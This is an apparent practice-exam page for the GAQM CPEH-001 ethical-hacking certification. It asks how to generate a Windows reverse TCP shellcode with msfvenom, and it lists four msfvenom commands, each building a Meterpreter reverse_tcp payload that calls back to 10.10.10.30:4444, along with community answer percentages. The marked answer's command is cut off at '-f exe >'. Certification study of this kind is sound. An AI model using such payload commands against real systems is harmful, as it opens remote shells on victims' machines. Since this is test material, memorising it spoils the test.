nerdexam
GAQM

CPEH-001 · Question #861

What is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

The correct answer is C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe >. See the full explanation below for the reasoning.

Question

What is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

Options

  • Amsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
  • Bmsfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
  • Cmsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe >
  • Dmsfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe >

How the community answered

(51 responses)
  • A
    6% (3)
  • B
    4% (2)
  • C
    75% (38)
  • D
    16% (8)

Community Discussion

No community discussion yet for this question.

Full CPEH-001 Practice